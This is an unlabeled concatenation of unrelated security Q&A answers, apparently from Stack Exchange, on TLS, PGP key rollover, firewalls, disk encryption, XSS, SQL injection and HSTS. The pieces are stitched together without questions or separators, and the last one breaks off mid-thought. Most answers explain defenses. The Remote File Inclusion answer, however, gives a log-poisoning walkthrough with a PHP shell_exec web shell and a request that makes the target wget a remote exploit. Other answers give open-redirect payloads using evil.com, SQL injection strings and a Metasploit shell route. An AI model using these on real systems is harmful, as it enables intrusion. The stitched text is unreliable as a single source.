You really, REALLY shouldn't be exposing your database server to the Internet, no matter how good of a password you have on it. Keep that sort of thing entirely within the cluster; doing otherwise is just additional attack surface you don't need or want. With that said, the basic principle you describe - terminating TLS at the load balancer, which effectively acts as a reverse proxy for the DB server - is totally viable.
Obviously, the load balancer would need a suitable and trusted certificate for each backend server (and corresponding private key) or the client will reject the TLS handshake as untrusted. Additionally, it's not a good practice to use plain-text communication even within your network; defense in depth dictates that you should re-encrypt the traffic between the load balancer and back-end servers (ideally with per-server mutual TLS keys) so that an attacker who is able to monitor, intercept, or generate traffic within the cluster (perhaps by SSRF or by compromising one server) can't fully compromise the network (or at least it's not easy, and gives more time for defense).


On your question

I see by inspection of your keys that are posted on public key servers, that you have already posted your revocation certificate for your old key.  The revocation certificate includes the fingerprint of the new key.  So, your method seems acceptable, and probably better than many other attempts at the key rollover process.

Personal key management is mostly an opinion based exercise.  Recommendations abound, and some seem better than others.  Cross-signing the public keys is probably a better method without resorting to a third party identity tracking service such as keybase.io

It's usually a good idea to revoke keys only when absolutely necessary, such as a lost private key or a compromised key.  Modern gpg implementations create a revocation certificate as part of the key generation process.  On my Debian Buster system, those certificates are automatically stored in ~/.gnupg/openpgp-revocs.d  So, as long as one keeps the revocation certificate, one can revoke a posted public key at will regardless of whether or not one remembers the passphrase or has the private key.

Expiring old keys rather than revoking them is probably a better method, because the expiration date on a pgp key can easily be changed at will and posted to a public key server without permanent repercussions.

Lastly, always keep the old keys.  Don't discard the private keys thinking that you won't need them anymore.  All old messages encrypted with old public keys will not be accessible without the old private keys.

On public key servers

Anyone can post any public key to a public key server.  So, it's not a good idea to blindly trust keys discovered on public key servers.  The key servers are also littered with old, compromised, expired, and revoked keys.  It's very difficult to figure out or verify that a given key on a key server is the correct and current key for communication with the identity information listed on the key.

The original idea was that people with keys would get together in person-to-person meet-ups called key signing parties to sign each other's keys and build a web of trust.  However, key signing parties are not that common and most keys I've come across are simply self-signed with zero other signatures.  So, in general practice, the web of trust doesn't work out so well to determine which key belongs to which identity and which key is the most current key.

These problems are a few which keybase.io has been trying to solve.  Keybase replaces the person-to-person web of trust with verified identity tracking across third party web services such as Github.  However, effective use of keybase requires that one maintain third party accounts on web services that track you.  So, online anonymity takes quite a huge hit with keybase use.  Some may say it's an acceptable trade off, and some may not wish to accept that trade off.


Yo're assuming the problem is at the school, but you may be wrong; the problem may be at your ISP or your router. Have you done a portscan on your public IP address using an online portscanner? Does it report port 21 at your public IP as open?

It sounds like you set up a server at home. So to reach it from school, you must pass the schools firewall, the ISPs firewall and the firewall installed on your home router. Outgoing firewalls are usually configured to allow traffic to common services such as ftp, so while possible, its unlikely that your school would deny an outgoing ftp connection.

Incoming connection attempts are a different story. ISPs often configure their firewalls to block common ports to protect their clients' home networks from attacks. The same goes for your home router.

Even if port 21 on your public IP address is accessible from the internet, to reach your server, you must configure your router to forward connections to port 21 to the server machine. If you don't do that, you try to reach your router's ftp port, which will be closed or filtered.

Your server is reachable from home because it sits in the same network, so there are no firewalls to pass through which could block traffic.


See https://tools.ietf.org/html/draft-ietf-tls-tls13-28#section-7.1 for the definition of HKDF-Expand-Label in TLS 1.3:

  HKDF-Expand-Label(Secret, Label, Context, Length) =
  HKDF-Expand(Secret, HkdfLabel, Length)

  Where HkdfLabel is specified as:

struct {
    uint16 length = Length;
    opaque label<7..255> = "tls13 " + Label;
    opaque context<0..255> = Context;
} HkdfLabel;

The string "finished" is used as part of the label.


Is using virtualbox for web browsing worth it for added security?

It's not exactly efficient and my gut feeling is it may increase attack surface. General browsing on generic sites means the potential for vulnerabilities to be exploited firstly on the website to serve malicious content and secondly by your client to be exploited. With your setup, it would mean exploiting Firefox to run privileged code that exploits an issue in Virtual box which could then potentially gain root access in Windows, which is a similar amount of work to exploiting an issue in Firefox to gain unauthorised access in Ubuntu except that isues that just affect that VM don't translate to your other VMs/devices. Having a wholly separate device for your personal use is I do not think very different from having another VM, except for the risk of what is essentially the hypervisor being affected.

If you had a device separate for work then that may make sense as it's much harder to secure a network when bringing in external devices where those devices may consume content and have connections made in environments you cannot control. For your own personal private information an airgapped device which never connects to any network may be called for.

None of this acknowledged that if the site you're browsing is compromised internally it makes no difference as to how you are accessing that site. Instead, look at broader measures which are effective such as constant updates of software (your current setup might be ineffective if you aren't already doing this anyway), do not reuse passwords, enable two factor authentication. This seems much easier to manage, and generally systems that are easier to manage are more secure.


As per SAML 2.0 specifications, an authentication statement specifies that the assertion subject was authenticated by a particular means at a particular time.

One of the use cases with some IDPs is when a multi-factor authentication has been performed. In that case, each authentication statement specifies one step in the authentication process. For example -

AuthnStatement one - Subject was authenticated via password at
12:34:35
AuthnStatement two - Subject was authenticated via OTP/Biometric at 12:34:56

SAML 2.0 has a vast set of features but not every implementations support all of them. Most implementations support only single authentication statement which covers a major use case.


Kerberos Authorization host/service by host/service basis

This is more a solution to what I'm trying to accomplish than an answer to the question I asked.  If somebody has a more direct answer to the question asked, please contribute it.

Thanks to the good people at CERN and Ubuntu for getting me on the right track:
http://linux.web.cern.ch/linux/docs/account-mgmt.shtml
https://help.ubuntu.com/community/LDAPClientAuthentication

Apparently the package nss-pam-ldap for using LDAP in the NSSwitch for providing /etc/passwd allows to do some filtering or overriding of values (though I haven't tried this yet).  This could be useful if normally your LDAP users' homedirs are on NFS, but on a specific host, you want them to have local homedirs.

nslcd.conf
    # Set the user homedirectory to /home/$USER
    map    passwd homeDirectory    "/home/$homeDirectory"

Or map to nologin for maintaining correct file permissions on an NFS server (without allowing LDAP users a shell)
# Set the login shell to /sbin/nologin
map    passwd loginShell       "/sbin/nologin"

Some basic filtering
# Only get users from group 1160
filter passwd (&(objectClass=user)(uidNumber=*)(unixHomeDirectory=*)(gidNumber=1160))

More stuff can be done with the ldap configuration itself (/etc/ldap.conf or /etc/openldap/ldap.conf), for instance adding a user attribute: host to the LDAP users, where you have a host attribute (with hostname) for each host the user can access, and lines like this:
nss_base_passwd ou=Users,dc=example,dc=com?one?|(host=thehostname)(host=\*)

For more info, just follow the links I posted at the top, and if I have some time to get all this stuff working in a way I appreciate, I'll try to clarify this answer a little bit.

EDIT: the main website for the nss-pam-ldap package is here:arthurdejong.org/nss-pam-ldapd/ it has some documentation for the nsldc.conf file


Encrypted files storage. How to simplify the password management scheme?

The first and probably only way to make such things secure is not to do it yourself. Implementing properly a cryptographic protocol without leaking information everywhere is hard; designing a cryptographic protocol is harder.

Since the user imports the files himself, and reads it, then there is no need whatsoever to invoke asymmetric cryptography. Asymmetric cryptography is for when there are (at least) two players with distinct rights (e.g. a signer and a verifier; or a sender and a recipient); here, there is the user and himself: same guy, hence no need for asymmetry. Another way to see that is that asymmetric cryptography was designed to solve the problem of sharing secret information between several people. A user has no problem sharing secret information with himself.

So the basic structure is to encrypt files with a key derived from a secret which fits in the user's brain (the password). This points to tools for full disk encryption, which exist for many operating systems. Some recent Windows versions come with BitLocker. Good Linux distributions have their own system. An oft-recommended third party product for full disk encryption is TrueCrypt. Use one of these and you will live longer and happier.


There are various ways to bypass such if it's properly validated. To know it better, you need to understand the URL architecture and how things are dine programmatically.
For example,
http://example.com@evil.com redirects evil.com. This is because example.com in this case is username (part of authority) directly supplied in URL. You can learn more about URL architecture from https://tools.ietf.org/html/rfc3986#section-3. I'd also recommend you go through Tangled Web.
And, deoending in how it's being validated, you can also send http://evil.com?http://example.com. This also satisfies the condition that scheme is directly followed by example.com.

If you're just looking for payloads, you might find this useful;
https://github.com/cujanovic/Open-Redirect-Payloads


Can BlackBerry keep us safe from network providers

It does depend on what protocols you're using to access the network provider.

The legacy network is still operational but was once audited by the UAE, and had some interesting security properties.

Now you are probably using a modern BES device.  Most of this relies on standard TLS protocols, which is arguably more secure depending on the version you're using.

For example, modern Activesync devices use TLS, whereas prior users had to proxy through a private VPN of sorts maintained by BES and their patented network.  As long as you trust your root certificates, you should be OK.


If I understand correctly you are generating IAM logins on your server and providing them to the client for them to access S3 directly.  If that is the case then no; it is not secure as these users would be able to access all of your S3 resources.

You could use bucket policies to set per-user permissions but those would have to be edited/created automatically by your server at the time to IAM logins were created since they ARNs wouldn't be known in advance.

If they are authenticating only to your server and your server is managing the S3 connection then the S3 portion is probably ok and the main concerns would be the security on the server itself.


Sometimes users are the biggest concern because they do not read.

A lot of people root their Androids or iPhones (jailbreak) and forget that they make a device run beyond the normal user rights.

For instance with android this means an attacker might get complete control over a cellphone. Also this means when you install an application not from the market it might include code to access your phone.
If angry birds would ask them to access their contact lists and get access to be able text, a lot of users would just grant it, because otherwise they can't play their game.

(I know angry birds is on the market, but maybe something alike)

The same goes up for an iPhone by the way.


Is there a way to see what is program is causing RDP attempts on computer

Please check windows security logs and look for login attempts. You can filter by event codes and look for login type 10. This is an RDP login. It could be that some service in some computers might be trying to access the drive with incorrect credentials.


Does that mean that security parameters = cipher suite ?

The security parameters describe a state and include master secret, various random data used in the handshake etc. The cipher suite instead describes only a set of algorithm but not the actual state when using these algorithms.
Apart from that only part of the security parameters depend on the cipher suite. Notably compression and the connection end are independent from the chosen cipher.

  What would cause this kind of handshake failure ? For example cipher suite mismatch ?

The most common problem for this alert is probably that there is no overlap in the ciphers between client and server. But note that you often don't get a handshake_failure alert but just some generic handshake error because the server simply closed the connection on error.


An attacker got a few 128bit TrueCrypt keys from a RAM analysis. What can he do?

That is not a TrueCrypt key. You can see that the key itself is 128 bits in length, and the number of round keys is 11, which is consistent with 128-bit AES. TrueCrypt uses 256-bit keys which, for AES, uses 15 round keys and has much larger keys at 256 bits. Whatever that key is for, it did not come from TrueCrypt. Let's assume that you did get the TrueCrypt key from memory, though, and you had on your hand the full 256-bit master key. So, what could be done with it?

  Could he eventually crack the key to gain a plaintext password

TrueCrypt and the newer VeraCrypt do not use your password directly as a key. Instead, it is passed through a very slow function called PBKDF2 which converts your ASCII password into a raw, binary key. However, TrueCrypt does not even use this raw key to encrypt the volume. Instead, a single master key (itself generated randomly at the time of volume creation) is encrypted with that key, and this encrypted master key is stored on the disk. When you input your password, it is passed through PBKDF2, and the resulting key is used to decrypt the master key. This master key is what is cached in memory and which is available to an attacker who is able to retrieve memory contents.

While this does mean that an attacker cannot derive your password directly from the cached master key, it does not mean the attacker cannot attack your password in other ways. If he has access to the volume header, he can guess candidate passwords and see which one unlocks the drive. While this can be automated, the slow PBKDF2 function makes this tedious for all but the weakest passwords.

  or could he use this key as a key file to open the volume?

Now that he could do. If he has access to this key, then he'll absolutely be able to access the volume and decrypt any data held within it. Of course, because he can't easily reverse the key into your plaintext password, he couldn't re-use your password on other TrueCrypt volumes or anywhere else the password was used, at least not without successfully cracking it.

If you're trying to recover data specifically from disk encryption software, a simple naïve search for encryption keys in memory might not be sufficient. This is because lots of disk encryption software, including TrueCrypt (except for ancient versions), VeraCrypt, and LUKS, uses a special mode of encryption called XTS. This encryption mode actually takes two keys, called a main key and a tweak key. In order to decrypt the disk, you would need to obtain both 256-bit keys. XTS mode works like so:

Both keys are standard 256-bit AES keys, but both are absolutely necessary to decrypt the disk. These two keys are derived from the master key which itself is stored on the disk in an encrypted form as mentioned earlier. The key derived directly from your password is not stored in memory, as it is only used briefly to decrypt the master key, and then discarded.


Is it safe to encrypt my password with the password itself?

This post might be useful to you. I can't see a problem with encrypting the password using the same password as the encryption key, but there are other ways to verify the decryption was successful as mentioned in the post I linked, such as using a HMAC or an authenticated encryption mode such as AES with GCM.


Are MySQL database files that are stored on disk encrypted?

No, they are not.

You can (relatively) easily test this by moving .ibd or .myd files to a different system, where you can still read them. Or you can just open them and you will likely see at least some of the content of the tables in plaintext.

Some MySQL engines do provide optional encryption, such as innodb. MySQL enterprise edition also provides optional encryption.


How to prioritize npm dev vulnerabilities?

How can I ensure that no traces (i.e. vulnerabilities) of the
  dev-marked code is found in the production code? Can I?

While deploying your code in production environment, you should install production only dependencies. This can be done as:

npm install --only=prod

It always best practice to use latest version of dev or production dependencies. There are several reasons for that:

If you are starting a new project you just want to make sure that you don't accumulate technical debt before even releasing your product.
Releasing an application with known vulnerabilities increases risk of compromising your application. An attacker could exploit a known bug in a dependency to further gain access to your application.
Also from compliance and regulatory perspective, you are obliged to provide a secure app to your customers. Having known vulnerabilities in your application means you have failed that obligation.
Well dev dependencies shouldn't be shipped with production code anyways, but it's always best practice to use secure versions in dev environment as well just in case to cover the case where someone accidentally pushes dev dependency in production.


client / login information is wrong when typing wrong client id

Not necessarily.

Your client number may be protected with a checksum. For example, the last digit of your client number might be used to make the sum of all previous digits divisible by 10 without remainder. Most numbers that must often be transfered manually by humans contain a checksum to quickly catch transcription errors.

This will not leak information about existing users, but it will reduce the search space for enumaration of existing client numbers by a factor of ten. If your client number is long enough, this isn't really a problem, though.


Access denied after inserting reflected XSS payload in JavaScript

Most likely one of the sites in the chain is performing XSS protection not by filtering, but by blacklisting anything deemed dangerous and automatically returning a 403.

As an example, I knew a web developer once who performed all of his XSS and SQLi protection via a 10 page .htaccess file that checked the incoming request against every XSS or SQLi vector he had seen in his ~decade of experience.  alert, script, SELECT, etc... if it was a keyword in an attack, it was blacklisted in his .htaccess file and the server would automatically return a 400 Access Denied response, regardless of whether or not there was a vulnerability.

Is it a good strategy for XSS mitigation?  I don't think so.  But it is definitely a strategy people use, and it is most likely the reason your current attempts are being blocked.  A WAF is one possible way that someone might implement such a filter.  Regardless of exactly how they do it, of course, the end result is the same: you are stuck until you find an attack vector that their black-list doesn't detect and filter.


Can the OWASP ZAP check XSS for REST API?

Purefan already answered your question in the comments, but this it a little expanded.

A XSS attack is not possible if the web site return a JSON using the Content-type: application/json header. Why? Because a JSON is just a string, so it doesn't matter if your site returns{123 : alert('blablabla')} because that's just a string.

On the other hand, a XSS works because the client interprets the response HTML, so that's why ZAP is detecting the XSS when you a returning a HTML instead that the JSON.


I detected someone probing my site for weaknesses, what can I do about it?

Welcome to the internet! This is the normal situation, business as usual.

You don't have to do anything, but to harden your website. Probes like that occurs all the time, on every site, day and night. Some people call that "voluntary pen testing."

Depending on your site, there are some tools that you can use to help you keep those kinds of probes out of the site. Wordpress sites have a couple plugins (you can search for Security plugins on the plugins directory), and I believe the other popular platforms out there will have equivalent plugins.

Other tool I usually employ is fail2ban. It can parse your webserver log files, and react accordingly.


There is no generic POP3 or IMAP vulnerability. In fact, you'll find open ports for this on many servers in the internet since these protocols are used to retrieve e-mail - hopefully in combination with TLS, i.e. after upgrading the initially plain connection to TLS using the STLS/STARTTLS commands.

There are though bugs in POP3 and IMAP servers too and probably more likely with IMAP since this is a way more complex protocol compared to POP3. A quick search for IMAP or POP3 on cvedetails.com will show numerous known vulnerabilities from the past.

  Also I get the word "Fenix" on both of those ports. Is this the company hosting their IMAP/POP3 servers?

I'm not sure what exactly you are referring to but my guess is that you've seen this string in the first line you've got when connecting to these ports. Both IMAP and POP3 (and SMTP and FTP...) send after the connection a greeting from the server to the client and this greeting often contains a hostname or server type or whatever the admins liked to have there. Looking for fenix imap at shodan returns something like this:

* OK [CAPABILITY IMAP4rev1 ... AUTH=PLAIN] Fenix ready.
* CAPABILITY IMAP4rev1 UNSELECT ID CHILDREN NAMESPACE IDLE UIDPLUS AUTH=PLAIN
A001 OK Pre-login capabilities listed, post-login capabilities have more.
* ID ("name" "Dovecot")
A002 OK ID completed.

So according to the ID this is a Dovecot server, one of the major IMAP/POP3 server implemtations out there (and open source). It has a setting to set the greeting, i.e. a simple

login_greeting = Fenix ready

In the dovecot.conf will result in the same kind of response you see. So somebody decided that this might be a useful greeting and from the shodan query it looks like GoDaddy is behind at least many of such systems.


Steganography - retreive secret text by comparing original and text containing picture

Solved it... I tried a tool that enhances LSB, and there I saw the first pixels were clearly different so the 32 chars length had to be written there. All I needed was the values of the LSB of the first 256 bytes, each 8 of these make one character of the MD5.

Here is the code I wrote in Java, along with the output:

BufferedImage img = ImageIO.read(new File("D:\\crypto secret\\2.png"));
        WritableRaster raster = img.getRaster();
        DataBufferByte buffer = (DataBufferByte) raster.getDataBuffer();
        byte[] data = buffer.getData();

        int j = 0 ;
        String[] bin = new String[32];
        char[] md5 = new char[32];

        for(int i = 0 ; i <256;i++){

            System.out.print(data[i]&0xFF);
            if((j+1)%8==0){
                System.out.println();
            }
            j++;
        }

00110100
01100101
01100101
00110111
00111001
01100100
00110111
00110110
00110011
00110011
01100100
00111000
01100001
01100001
01100100
00111000
00110010
00111000
01100001
00110011
00110100
01100100
00110100
01100101
00111000
00110110
00110010
00110001
01100011
01100001
01100100
00110010

I converted these to ASCII via some online tool which gave me this MD5 4ee79d7633d8aad828a34d4e8621cad2 and then a lookup on that gave me this string antonine, which is part of my university's name. Then I went ahead and decrypted the secret text with that as a key, in EDS ECB mode.

The hidden text was:

Hello students. You solved Task 3 challenge.


Encrypting something with multiple keys such that k out of n keys are needed; what's it called?

To complete @Terry's answer:

Shamir's secret sharing works on values in a given field (the mathematical concept). In practice, if you accept that you won't make more than 255 shares (i.e. 1 < k ≤ n ≤ 255) then it is convenient to work in GF(256), the field with 256 elements. This would mean that you actually do the sharing on each byte independently of the others, and thus that you can "share" any secret which fits in a sequence of bytes (so, really, anything which fits in a computer). And it is quite efficient.

Since each share has the same length as the secret data, you may want to optimize things a bit with encryption. This means that if you want to share a big secret value S (e.g. a 3 gigabytes video), then you:

Create a random 128-bit key K.
Encrypt S with K and a good symmetric cipher; the encrypted value is stored in a common area where every participant can retrieve it.
Applies Shamir's secret sharing on K.

This way, each share holder only has to remember something which is the size of K (16 bytes, easily fits in various places, e.g. a smartcard or even a human brain), while the secret value S can be arbitrarily large and efficiently stored and distributed (since it is encrypted, it can be shown to the public at large, e.g. transferred with a peer-to-peer network).

Now for the choosing the share values, that's an interesting problem. If you have n shares and a threshold of k, the normal description of Shamir's scheme implies that each share is essentially random. The secret splitting outputs the shares, and the share holders can only get them.

The computations can be trivially extended into a scheme where at most k-1 shares are chosen arbitrarily. So some shares must still be random.

User-chosen shares make sense when shares must be remembered, i.e. are passwords. But passwords are subject to brute force. For instance, if an attacker obtained k-1 shares and knows that one of the other shares is a password, then he can run a dictionary attack on that extra share, namely trying out potential passwords (for each password, recomputing the shared secret with that password as extra share, and see if the result "makes sense"). This unfortunately weakens the whole system.

Indeed, a great property of Shamir's scheme is that it is unconditionally secure, meaning that it resists attackers with arbitrary computing power, including computers which have not been invented yet (as long as the source of randomness used in the splitting is really random). This simplifies security analysis, in particular for long-term storage, where you have to predict how much computing power attackers will have decades from now. But if you insert passwords in the mix, this unconditional security vaporizes as dew under the morning Sun.


Overflowing a cookie returns error page in PHP

The problem is caused by the app expecting the cookie's value to be something without first checking if that value is indeed something to be able to exit gracefully if it's not, and instead ends up throwing an (unhandled) exception.

What the developer should do first is to disable error display on the production servers and instead just returning a 500 error with an optional user-friendly error page, or at least a blank page to avoid information disclosure.

I don't think there is a need to explicitly validate the cookie's value, this isn't something an user can input and make a typo so there's no need for validation and an error page like "cookie not valid", someone would need to intentionally modify that cookie's value in which case it's normal that the app isn't expecting that and just throws a 500 error - as long as PHP is correctly configured to not disclose sensitive information on error and instead log it.


Is a good idea to have security logs stored in the cloud?

As usual: threat-risk-mitigation.

Sending security logs from a highly secured zone to a less secured one can be harmful if the content of the security logs can help attackers to better know the security practices hence the way to circumvent them - which is a common use case for security logs.

But being in the cloud in not the only determinant for a security zone. Furthermore, if the application platform is already in the cloud, the question can be quite different.

So IMHO the only questions are: what is the security level at the place where the logs are produced, what is the reason for that level, and what is the security level of the place where the logs will be transfered. In there is a strong decrease in security level and a risk analysis had concluded that the current security level was required it is a bad idea. If the cloud storage is compatible with the global security requirements, I can not see any problem.


How to restrict third closed source process to read only own folders on Linux?

The first idea that comes to mind is inspired by the way Android handles this: create a new user account for each app.

When you want to install a new untrusted program, first create a new user for it. Next, install the program as that user, in that user's home directory. Launch the app through scripts like su dropbox; dropboxd and set the permissions such that apps can't read each other's files. Make your login user a member of all these groups so you can still read the files.

Note: this is an off-the-top-of-my-head idea, I have no idea how feasible it is. It may take a fair amount of work to build a workstation that behaves this way while still being moderately user-friendly.


Securing the security guy's home office: what should we do?

I did a bit of an article on this in the Financial Times 3 or 4 years back but can't find more than the headline piece. Anyway, as I tend to practice what I preach, I have my home set up with networks separated by risk -

I have one wireless router with two
networks which only connect to the
Internet. A DMZ which just uses WEP
in order for my kids to use their
Nintendo DS's online and another
which is for my local community free
wireless
Another router hosts a secure WPA2
network (mostly for my Playstation 3)
For the wired networks, I have a low
sensitivity network for the rest of
the family - who connect using VMs I
have built for them, and a higher
sensitivity network for most of my
research and non-client activity.
For security testing work for clients
I have a higher security subnet which
requires strong multifactor authentication

For platforms, I have always found the simplest is to use a hardened build for client testing, which can be broken down after testing and reporting is complete. The build has BIOS password and full disk encryption. All machines and servers on all my networks also have firewalls and antivirus and are patched up to date as per vendor guidance.

If you have a security guy working from home, you may find it difficult to audit the kit on site, which can be a problem in terms of managing the risk from them. You typically don't have many solutions here, as they have physical possession of the kit and are effectively unsupervised - understand how much you need to trust them, ensure your contract is appropriate and configure logging as appropriate.

I agree you do need physical security - not only on doors, safes and computer tethers, but also on paper documentation and archives/backups.

Backups and insurance are essential! I use encrypted backups on a site very unlikely to be within the blast radius if my house happens to have a plane land on it (could happen - I'm only a couple of miles off the approach to Edinburgh Airport)


Password security when connecting to ldap with rails application

Disclaimer: I have never used ruby / ruby on rails and in this answer I describe how I would act in general.

You have two ways to solve this problem:

Use an additional user for all your searches.

Pro: You don't have to store the users credentials after he/she logged in.
Con: I don't know if this matters in your application but you can't track which user has started a caused the query based on your LDAP logs.
Implementation: Your have to store sensitive credentials for an external service inside your application. This is the exact same problem as with database credentials so I think you should store your LDAP credentials in the same manner as them.

Use the logged in user for searches

Pro: You can track what every user has done using your LDAP logs
Con: You have to store the unencrypted user information somewhere while the user is logged in.
Implementation: Save the unencrypted user information in the session or something so you can access them when you need to.

Personally I would prefer the first solution as it does not involve storing a lot of plaintext user passwords somewhere.


Injecting a query within a query that has an order by or group by function

It looks like the server has php configured with magic quotes on. Since the example query provided doesn't contain any quotes you won't need to inject any quotes. Something like 1 union select @@version from shop -- - should give you an error about unions needing the same number of columns, proving the injection.


How can a site preemptively notify browsers to enforce an SSL on their domain?

HTTP Strict Transport Security Preloading
This is the keyword you are looking for. If that's all you care about, then I'm happy I could help. However, if you would like to know why this is done, please keep reading.
HTTP to HTTPS redirects
This is the simplest form of ensuring your users only use HTTPs. Once a HTTP URL is requested, the server replies with a 301 response, redirecting the browser to the HTTPS location instead. http://example.com/foo/bar becomes https://example.com/foo/bar.
However, this means that whenever a client requests the HTTP site (potentially, whenever they want to go to your site via e.g. a bookmark), they can be intercepted by an attacker and potentially never redirected.
Attack Surface: Whenever they connect via HTTP.
HTTP Strict Transport Security (without Preloading)
In order to alleviate this, the HSTS system was developed. It works as follows: Every browser that supports HSTS has a HSTS cache. When a user tries to navigate to a domain via HTTP for which a HSTS entry is present, the request is automatically changed to HTTPS. So even if I explicitly typed http://example.com, my browser would request https://example.com (as long as example.com was in my HSTS cache).
How do sites signify that they support HSTS? By placing a HTTP response header into every request. While technically it's not necessary to do so for every request, the downsides are minimal. The header looks like this:
Strict-Transport-Security: max-age=31536000

The "max-age" parameter defines how long this request should be honored (in seconds). Typically a time of one year is chosen - although why this was done is anyone's guess. And while this is really nice and will protect your users on every subsequent visit, there is still the problem of when they first visit your site. After all, if they never visited your site, there is no way for them to know that you support HSTS. It's a chicken and egg problem. So the first time, there will still be a plaintext communication that can be intercepted.
Attack Surface: The first time they connect via HTTP.
HTTP Strict Transport Security with Preloading
So our goal now is to tell the user that we support HSTS without prior communication to the user. The solution is to use a so-called "preload list". The idea is simple: The website operator tells a list that they support HSTS and will continue to do so in the future.
The browser then gets this information1 through an already secure connection. As such, browsers will be able to know whether or not they should use HTTPS exclusively without ever having to communicate in plaintext.
Attack Surface: None.

1 I actually don't know if browsers regularly download the whole preload list or if they query individual domains. Turns out browsers get a new copy of the HSTS preload list whenever the browser is updated.


How Can Malware be Attached to an Image File?

The most common attack method with attaching malware to an image file (or any file for that matter) is to hide an executable file with a different file extension.

For example in your case, a victim might think he is downloading the file wallpaper.jpg when in reality he is downloading the file wallpaper.exe that has been renamed with the JPEG file extension.

Other methods involve the use of Steganography, which involves hiding code inside the image itself, such as javascript of malware or exploits.


Simple Remote File Inclusion vulnerability not working?

The allow_url_include is off for most of the hosts you will encounter. When you cannot use RFI (Remote File Inclusion) you could always try LFI (Local File Inclusion). The point is that you need to get some code stored on the server to execute.

If you have access to the logs you could try to inject PHP in the logs. A simple way is to connect via ncat to inject strings into the logs.

For HTTPS:

ncat -nvv --ssl hostname 443

Then it waits for input. As an example you could enter the following:

<?php echo shell_exec($_REQUEST['cmd'] ?>

In the logs you would see the bad request you send to the webserver.

==> /var/log/nginx/access.log <==
xx.xx.xx.xx - - [28/Apr/2017:09:21:31 +0200] "<?php echo shell_exec($_REQUEST['cmd'] ?>" 400 173 "-" "-"

If you now include this logfile where you tried to include the URL, you might be able to download your URL using wget with something like the next request:

http://192.168.8.133/test.php?page=/var/log/nginx/access.log&cmd=wget%20http://url-to-download/exploit.php

This will only work if the host has not disabled the shell_exec() command, but this is less common then allow_url_include=0


Use John the Ripper to break Password Protected Zip

The zip2john command already tells you that the output format in PKZIP, so you should use that format if you decide to explicitly specify it in your john command using the --format switch.
If you omit the --format specifier, john obviously recognizes the format of the hash file correctly.

When you read the output of your john command, you see that the passphrase is not found within the words contained in 10-million-password-list-top-100000.txt.
Your challenge now is to find a wordlist suitable or big enough to actually contain the password.


Would removing spaces in a string protect against SQL injection?

No. Removing spaces would not prevent SQL injection, as there are many other ways to make the parser process your input. Lets look at an example. Imagine that you had a url which used user supplied input unsafely in a query:

http://example/index.php?id=1 => SELECT * from page where id = 1

In your example the attacker would use spaces:

http://example/index.php?id=1%20or%201=1 => SELECT * from page where id = 1 or 1=1.

Removing the spaces would collapse the injection into a string.

Now let's imagine that the attacker used another form of white space, i.e. tabs:

http://example/index.php?id=1%09or%091=1 => SELECT * from page where id = 1     or    1=1.

Removing the spaces would still allow the injection through.

Depending on the technology in use the attacker could replace the spaces with /**/ %00 %09 %0a %0d or any number of unicodes that causes tokenization by the SQL parser. While the referenced example removed more than just spaces, the aforementioned example takes advantage of SQL comments to cause the tokenization which are not whitespace. You would still be vulnerable.

The only reliable way to prevent SQL injection is to use parameterized queries.


Why there are uninvited incoming packets to my ADSL connection?

ADSL is an "always-on connection to the Internet". If you are getting these packets then it will be a normal behaviour.After doing nslookup the response is

**nslookup 77.234.45.55
Server:     127.0.0.1
Address:    127.0.0.1#53
Non-authoritative answer:
55.45.234.77.in-addr.arpa   name = r-055-045-234-077.ff.avast.com.
Authoritative answers can be found from:
45.234.77.in-addr.arpa  nameserver = s.ns.avast.com.
45.234.77.in-addr.arpa  nameserver = y.ns.avast.com.**

It is obvious that your system is sending RST packets in response because of the system didn't send any request.You need not to worry.
You can also see this post for solving your problem
http://prg-forum-01.avast.com/index.php?topic=9898.0/index.php?topic=9898.0


What is the accessibility of a process's environment on OS X?

There's no difference in how the environment behaves between Linux and OS X, which is a UNIX system.


TrueCrypt and Keyfiles hidden among 500,000 other .pdf files

Loosely-speaking, you can treat the Keyfile as something you have. You can store it on a USB stick for that sole purpose. Whenever you want to decrypt your secret file, you plug that stick and decrypt.

You can add an extra layer of security by making that USB stick a TrueCrypt volume, thus protecting your Keyfile with a password.

Of course, you can hide your Keyfiles in plain sight. There reason I would not recommend that is that I don't think it'd be that difficult for an attacker to eventually figure out which file is your Keyfile.

You see, no matter how randomly you chose that file, in the end you're a human being. Believe it or not, we're very predictable.

Lastly, a relevant warning from TrueCrypt documentations

  WARNING: If password caching is enabled, the password cache also
  contains the processed contents of keyfiles used to successfully mount
  a volume. Then it is possible to remount the volume even if the
  keyfile is not available/accessible. To prevent this, click 'Wipe
  Cache' or disable password caching.


CrashPlan: Is the archive key password stored on the server?

The computer(s) running CrashPlan (your computers) will always have access to the key in plain text. That is why, when using the Archive Question feature, you are able to re-secure that key with a new password, and re-send it to the CrashPlan servers, without knowing the old password.
That is also why this feature is not available on the web; it's only in the CrashPlan desktop application.

Of note: if you somehow lose the plain text version of the key stored on your computer (your hard drive dies or something) AND you forgot your archive key password, you will not be able to restore any of your files, since in this case, the only copy of the key will be the secured version on the CrashPlan server, which nobody will know the password of.

i.e. Don't lose your Archive Key Password (use a password manager - can I suggest 1Password?) and/or backup (not using CrashPlan!) your key, which I think is stored in the .identity file.


...  a server should begin by offering the strongest ciphers first, and only then offer weaker ciphers.

As long as the server only supports ciphers which are strong enough it does not actually matter in terms of security who chooses the cipher. Instead of security other criteria are relevant, typically performance from the perspective of the client or of the server. Just using a "stronger" cipher might add a perceived value but not an actual value (still assuming that only sufficiently string ciphers are supported in the server).
See also Do TLS standards require the server-side preference to always be used when negotiating ciphers to use?
 on why one would prefer client cipher order or why not.


Metasploit: Example Exploit for Windows 7 / Windows Server 2016

You will have better luck with Windows 7 than Server 2016. The go-to is MS17-010. You would need to enable SMBv1 and ensure that it is not patched for that version. You can ensure that it's vulnerable first with Metasploit or nmap (nmap target -p445 --script=smb-vuln-ms17-010).
For Server 2016, I would recommend looking at a web vulnerability. For instance, you can install Tomcat and then use Metasploit to upload a malicious WAR file. This would produce a shell in the context of the user running the web service.


Which user authentication measures are used nowadays?

It really depends on the service.

The most common is password-base authentication (and probably will stay like this for a long time). All this services you mentioned use TLS for encryption to mitigate possible MIM attacks.

What is becoming a common practice nowadays is to offer 2FA. A list of web-sites that already offer it: https://twofactorauth.org/

It is important to understand that it is one more layer of security and do not aim to replace password based authentication.

Additionally, most of services offer OAuth2 nowadays. For example, when you access the Stack Exchange using your Google account. Of course, you must authenticate in your Google account, using password based authentication.

Password authentication is widely used because came first and is more scalable than other methods.
Let's say my server offers certificate authentication.
